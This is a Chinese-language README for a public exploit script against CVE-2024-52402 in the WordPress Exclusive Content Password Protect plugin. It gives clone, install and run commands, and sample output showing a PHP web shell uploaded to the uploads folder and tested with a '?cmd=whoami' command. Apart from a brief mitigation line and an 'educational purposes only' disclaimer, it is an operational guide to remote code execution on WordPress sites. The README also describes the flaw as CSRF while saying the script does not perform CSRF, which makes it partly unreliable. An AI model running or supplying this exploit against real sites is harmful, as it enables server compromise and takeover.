该漏洞利用针对 WordPress Exclusive Content Password Protect 插件版本 1.1.0 及更早版本中的跨站请求伪造(CSRF)漏洞。该漏洞允许攻击者向 Web 服务器上传 Web Shell,从而可能导致远程代码执行。
要利用此漏洞,您需要提供目标 WordPress 站点的 URL、有效的 WordPress 用户名和密码。该漏洞利用脚本将登录 WordPress 站点并尝试上传 Web Shell。
python CVE-2024-52402.py -u <target> -un <username> -p <password>
usage: CVE-2024-52402.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit for ECVE-2024-52402 By | Nxploit, Khaled ALenazi
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-un, --username USERNAME
WordPress username
-p, --password PASSWORD
WordPress password
python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
[+] Plugin version detected: 1.1.0
[+] Logged in successfully.
[!] Exploit completed! Web Shell uploaded: http://target/wordpress/wp-content/uploads/nxploit.php
[*] Test with: http://target/wordpress/wp-content/uploads/nxploit.php?cmd=whoami
该脚本利用 Exclusive Content Password Protect 插件中的 CSRF 漏洞上传 Web Shell 到 WordPress 服务器。然而,它不会直接执行 CSRF 攻击 ;相反,它专注于利用插件的文件上传 功能来实现漏洞利用。
克隆仓库
git clone https://github.com/Nxploited/CVE-2024-52402.git
cd CVE-2024-52402
安装依赖
确保您已安装 requests 库:
pip install requests
运行脚本 使用以下命令执行脚本:
python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
为缓解此漏洞,请将 Exclusive Content Password Protect 插件更新到已修复该问题的最新版本。
此脚本仅供教育目的使用。未经授权对您没有明确测试权限的系统使用此脚本是非法且不道德的。
漏洞利用作者:Nxploit , Khaled alenazi.